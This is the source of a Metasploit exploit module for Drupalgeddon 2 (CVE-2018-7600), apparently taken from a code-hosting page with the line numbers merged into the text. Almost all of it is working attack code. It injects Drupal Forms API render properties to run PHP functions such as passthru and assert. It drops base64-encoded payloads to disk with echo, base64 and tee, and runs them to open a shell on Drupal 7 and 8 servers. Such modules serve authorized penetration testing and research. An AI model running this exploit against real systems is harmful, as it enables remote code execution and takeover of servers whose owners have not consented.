Path: blob/master/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
32392 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::HTTP::Drupal10# XXX: CmdStager can't handle badchars11include Msf::Exploit::PhpEXE12include Msf::Exploit::FileDropper13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Drupal Drupalgeddon 2 Forms API Property Injection',20'Description' => %q{21This module exploits a Drupal property injection in the Forms API.2223Drupal 6.x, < 7.58, 8.2.x, < 8.3.9, < 8.4.6, and < 8.5.1 are vulnerable.24},25'Author' => [26'Jasper Mattsson', # Vulnerability discovery27'a2u', # Proof of concept (Drupal 8.x)28'Nixawk', # Proof of concept (Drupal 8.x)29'FireFart', # Proof of concept (Drupal 7.x)30'wvu' # Metasploit module31],32'References' => [33['CVE', '2018-7600'],34['URL', 'https://www.drupal.org/sa-core-2018-002'],35['URL', 'https://greysec.net/showthread.php?tid=2912'],36['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'],37['URL', 'https://github.com/a2u/CVE-2018-7600'],38['URL', 'https://github.com/nixawk/labs/issues/19'],39['URL', 'https://github.com/FireFart/CVE-2018-7600']40],41'DisclosureDate' => '2018-03-28',42'License' => MSF_LICENSE,43'Privileged' => false,44'Payload' => { 'BadChars' => '&>\'' },45'Targets' => [46#47# Automatic targets (PHP, cmd/unix, native)48#49[50'Automatic (PHP In-Memory)',51{52'Platform' => 'php',53'Arch' => ARCH_PHP,54'Type' => :php_memory55}56],57[58'Automatic (PHP Dropper)',59{60'Platform' => 'php',61'Arch' => ARCH_PHP,62'Type' => :php_dropper63}64],65[66'Automatic (Unix In-Memory)',67{68'Platform' => 'unix',69'Arch' => ARCH_CMD,70'Type' => :unix_memory71}72],73[74'Automatic (Linux Dropper)',75{76'Platform' => 'linux',77'Arch' => [ARCH_X86, ARCH_X64],78'Type' => :linux_dropper79}80],81#82# Drupal 7.x targets (PHP, cmd/unix, native)83#84[85'Drupal 7.x (PHP In-Memory)',86{87'Platform' => 'php',88'Arch' => ARCH_PHP,89'Version' => Rex::Version.new('7'),90'Type' => :php_memory91}92],93[94'Drupal 7.x (PHP Dropper)',95{96'Platform' => 'php',97'Arch' => ARCH_PHP,98'Version' => Rex::Version.new('7'),99'Type' => :php_dropper100}101],102[103'Drupal 7.x (Unix In-Memory)',104{105'Platform' => 'unix',106'Arch' => ARCH_CMD,107'Version' => Rex::Version.new('7'),108'Type' => :unix_memory109}110],111[112'Drupal 7.x (Linux Dropper)',113{114'Platform' => 'linux',115'Arch' => [ARCH_X86, ARCH_X64],116'Version' => Rex::Version.new('7'),117'Type' => :linux_dropper118}119],120#121# Drupal 8.x targets (PHP, cmd/unix, native)122#123[124'Drupal 8.x (PHP In-Memory)',125{126'Platform' => 'php',127'Arch' => ARCH_PHP,128'Version' => Rex::Version.new('8'),129'Type' => :php_memory130}131],132[133'Drupal 8.x (PHP Dropper)',134{135'Platform' => 'php',136'Arch' => ARCH_PHP,137'Version' => Rex::Version.new('8'),138'Type' => :php_dropper139}140],141[142'Drupal 8.x (Unix In-Memory)',143{144'Platform' => 'unix',145'Arch' => ARCH_CMD,146'Version' => Rex::Version.new('8'),147'Type' => :unix_memory148}149],150[151'Drupal 8.x (Linux Dropper)',152{153'Platform' => 'linux',154'Arch' => [ARCH_X86, ARCH_X64],155'Version' => Rex::Version.new('8'),156'Type' => :linux_dropper157}158]159],160'DefaultTarget' => 0, # Automatic (PHP In-Memory)161'DefaultOptions' => { 'WfsDelay' => 2 }, # Also seconds between attempts162'Notes' => {163'Stability' => [CRASH_SAFE],164'SideEffects' => [],165'Reliability' => [],166'AKA' => ['SA-CORE-2018-002', 'Drupalgeddon 2']167}168)169)170171register_options([172OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),173OptBool.new('DUMP_OUTPUT', [false, 'Dump payload command output', false])174])175176register_advanced_options([177OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])178])179end180181def check182checkcode = CheckCode::Unknown183184@version = target['Version'] || drupal_version185186unless @version187vprint_error('Could not determine Drupal version to target')188return checkcode189end190191vprint_status("Drupal #{@version} targeted at #{full_uri}")192checkcode = CheckCode::Detected193194changelog = drupal_changelog(@version)195196unless changelog197vprint_error('Could not determine Drupal patch level')198return checkcode199end200201case drupal_patch(changelog, 'SA-CORE-2018-002')202when nil203vprint_warning('CHANGELOG.txt no longer contains patch level')204when true205vprint_warning('Drupal appears patched in CHANGELOG.txt')206checkcode = CheckCode::Safe207when false208vprint_good('Drupal appears unpatched in CHANGELOG.txt')209checkcode = CheckCode::Appears210end211212# NOTE: Exploiting the vuln will move us from "Safe" to Vulnerable213token = rand_str214res = execute_command(token, func: 'printf')215216return checkcode unless res217218if res.body.start_with?(token)219vprint_good('Drupal is vulnerable to code execution')220checkcode = CheckCode::Vulnerable221end222223checkcode224end225226def exploit227unless @version228print_warning('Targeting Drupal 7.x as a fallback')229@version = Rex::Version.new('7')230end231232if datastore['PAYLOAD'] == 'cmd/unix/generic'233print_warning('Enabling DUMP_OUTPUT for cmd/unix/generic')234# XXX: Naughty datastore modification235datastore['DUMP_OUTPUT'] = true236end237238# NOTE: assert() is attempted first, then PHP_FUNC if that fails239case target['Type']240when :php_memory241execute_command(payload.encoded, func: 'assert')242243sleep(wfs_delay)244return if session_created?245246# XXX: This will spawn a *very* obvious process247execute_command("php -r '#{payload.encoded}'")248when :unix_memory249execute_command(payload.encoded)250when :php_dropper, :linux_dropper251dropper_assert252253sleep(wfs_delay)254return if session_created?255256dropper_exec257end258end259260def dropper_assert261php_file = Pathname.new(262"#{datastore['WritableDir']}/#{rand_str}.php"263).cleanpath264265# Return the PHP payload or a PHP binary dropper266dropper = get_write_exec_payload(267writable_path: datastore['WritableDir'],268unlink_self: true # Worth a shot269)270271# Encode away potential badchars with Base64272dropper = Rex::Text.encode_base64(dropper)273274# Stage 1 decodes the PHP and writes it to disk275stage1 = %{276file_put_contents("#{php_file}", base64_decode("#{dropper}"));277}278279# Stage 2 executes said PHP in-process280stage2 = %{281include_once("#{php_file}");282}283284# :unlink_self may not work, so let's make sure285register_file_for_cleanup(php_file)286287# Hopefully pop our shell with assert()288execute_command(stage1.strip, func: 'assert')289execute_command(stage2.strip, func: 'assert')290end291292def dropper_exec293php_file = "#{rand_str}.php"294tmp_file = Pathname.new(295"#{datastore['WritableDir']}/#{php_file}"296).cleanpath297298# Return the PHP payload or a PHP binary dropper299dropper = get_write_exec_payload(300writable_path: datastore['WritableDir'],301unlink_self: true # Worth a shot302)303304# Encode away potential badchars with Base64305dropper = Rex::Text.encode_base64(dropper)306307# :unlink_self may not work, so let's make sure308register_file_for_cleanup(php_file)309310# Write the payload or dropper to disk (!)311# NOTE: Analysis indicates > is a badchar for 8.x312execute_command("echo #{dropper} | base64 -d | tee #{php_file}")313314# Attempt in-process execution of our PHP script315send_request_cgi(316'method' => 'GET',317'uri' => normalize_uri(target_uri.path, php_file)318)319320sleep(wfs_delay)321return if session_created?322323# Try to get a shell with PHP CLI324execute_command("php #{php_file}")325326sleep(wfs_delay)327return if session_created?328329register_file_for_cleanup(tmp_file)330331# Fall back on our temp file332execute_command("echo #{dropper} | base64 -d | tee #{tmp_file}")333execute_command("php #{tmp_file}")334end335336def execute_command(cmd, opts = {})337func = opts[:func] || datastore['PHP_FUNC'] || 'passthru'338339vprint_status("Executing with #{func}(): #{cmd}")340341res =342case @version.to_s343when /^7\b/344exploit_drupal7(func, cmd)345when /^8\b/346exploit_drupal8(func, cmd)347end348349return unless res350351if res.code == 200352print_line(res.body) if datastore['DUMP_OUTPUT']353else354print_error("Unexpected reply: #{res.inspect}")355end356357res358end359360def exploit_drupal7(func, code)361vars_get = {362'q' => 'user/password',363'name[#post_render][]' => func,364'name[#markup]' => code,365'name[#type]' => 'markup'366}367368vars_post = {369'form_id' => 'user_pass',370'_triggering_element_name' => 'name'371}372373res = send_request_cgi(374'method' => 'POST',375'uri' => normalize_uri(target_uri.path),376'vars_get' => vars_get,377'vars_post' => vars_post378)379380return res unless res && res.code == 200381382form_build_id = res.get_html_document.at(383'//input[@name = "form_build_id"]/@value'384)385386return res unless form_build_id387388vars_get = {389'q' => "file/ajax/name/#value/#{form_build_id.value}"390}391392vars_post = {393'form_build_id' => form_build_id.value394}395396send_request_cgi(397'method' => 'POST',398'uri' => normalize_uri(target_uri.path),399'vars_get' => vars_get,400'vars_post' => vars_post401)402end403404def exploit_drupal8(func, code)405# Clean URLs are enabled by default and "can't" be disabled406uri = normalize_uri(target_uri.path, 'user/register')407408vars_get = {409'element_parents' => 'account/mail/#value',410'ajax_form' => 1,411'_wrapper_format' => 'drupal_ajax'412}413414vars_post = {415'form_id' => 'user_register_form',416'_drupal_ajax' => 1,417'mail[#type]' => 'markup',418'mail[#post_render][]' => func,419'mail[#markup]' => code420}421422send_request_cgi(423'method' => 'POST',424'uri' => uri,425'vars_get' => vars_get,426'vars_post' => vars_post427)428end429430def rand_str431Rex::Text.rand_text_alphanumeric(8..42)432end433434end435436437